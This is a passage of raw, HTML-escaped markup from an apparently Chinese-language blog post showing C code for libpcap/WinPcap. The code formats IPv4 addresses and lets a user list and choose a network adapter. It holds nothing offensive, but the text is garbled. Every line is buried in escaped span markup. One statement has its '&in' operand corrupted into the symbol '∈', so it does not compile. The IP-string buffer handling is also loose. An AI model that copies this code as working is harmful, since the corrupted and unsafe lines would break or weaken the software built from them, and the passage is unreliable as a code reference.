style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;char&nbsp;output[12][3*4+3+1];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;short&nbsp;which;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;u_char&nbsp;*p;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;p&nbsp;=&nbsp;(u_char&nbsp;*)\u2208&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;which&nbsp;=&nbsp;(which&nbsp;+&nbsp;1&nbsp;==&nbsp;12&nbsp;?&nbsp;0&nbsp;:&nbsp;which&nbsp;+&nbsp;1);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(output[which],&nbsp;&#8220;%d.%d.%d.%d&#8221;,&nbsp;p[0],&nbsp;p[1],&nbsp;p[2],&nbsp;p[3]);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;output[which];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;BOOL&nbsp;ChooseDev(char&nbsp;*devbuff,int&nbsp;buffsize,char&nbsp;*ipbuff)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_if_t&nbsp;*alldevs=NULL,*p=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;errbuff[PCAP_ERRBUF_SIZE];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;i,choose;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_addr_t&nbsp;*a=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memset(devbuff,NULL,buffsize);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(pcap_findalldevs(&amp;alldevs,errbuff)==-1)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;for(p=alldevs,i=0;&nbsp;p;&nbsp;p=p-&gt;next)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;%d.%s(%s)\\n&#8221;,++i,p-&gt;name,p-&gt;description);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((a=p-&gt;addresses))&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch(a-&gt;addr-&gt;sa_family)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;AF_INET:&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address&nbsp;Family&nbsp;Name:&nbsp;AF_INET\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(a-&gt;addr)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;Y-&nbsp;IP&nbsp;\u5730\u5740&nbsp;*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address:&nbsp;%s\\n&#8221;,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;addr)-&gt;sin_addr.s_addr));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(a-&gt;netmask)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;Y-&nbsp;\u63a9\u7801&nbsp;*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Netmask:&nbsp;%s\\n&#8221;,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;netmask)-&gt;sin_addr.s_addr));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;\u672a\u77e5&nbsp;*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address&nbsp;Family&nbsp;Name:&nbsp;Unknown\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;do&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u9009\u62e9\u4e00\u4e2a\u7f51\u5361:&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;while(scanf(&#8220;%d&#8221;,&amp;choose)!=1&nbsp;||&nbsp;choose&lt;1&nbsp;||choose&gt;i);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;for(p=alldevs,i=1;&nbsp;i!=choose;&nbsp;p=p-&gt;next,i++);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;strcat(devbuff,p-&gt;name);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memset(ipbuff,NULL,15);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;a=p-&gt;addresses;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;strcat(ipbuff,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;addr)-&gt;sin_addr.s_addr));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_freealldevs(alldevs);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p 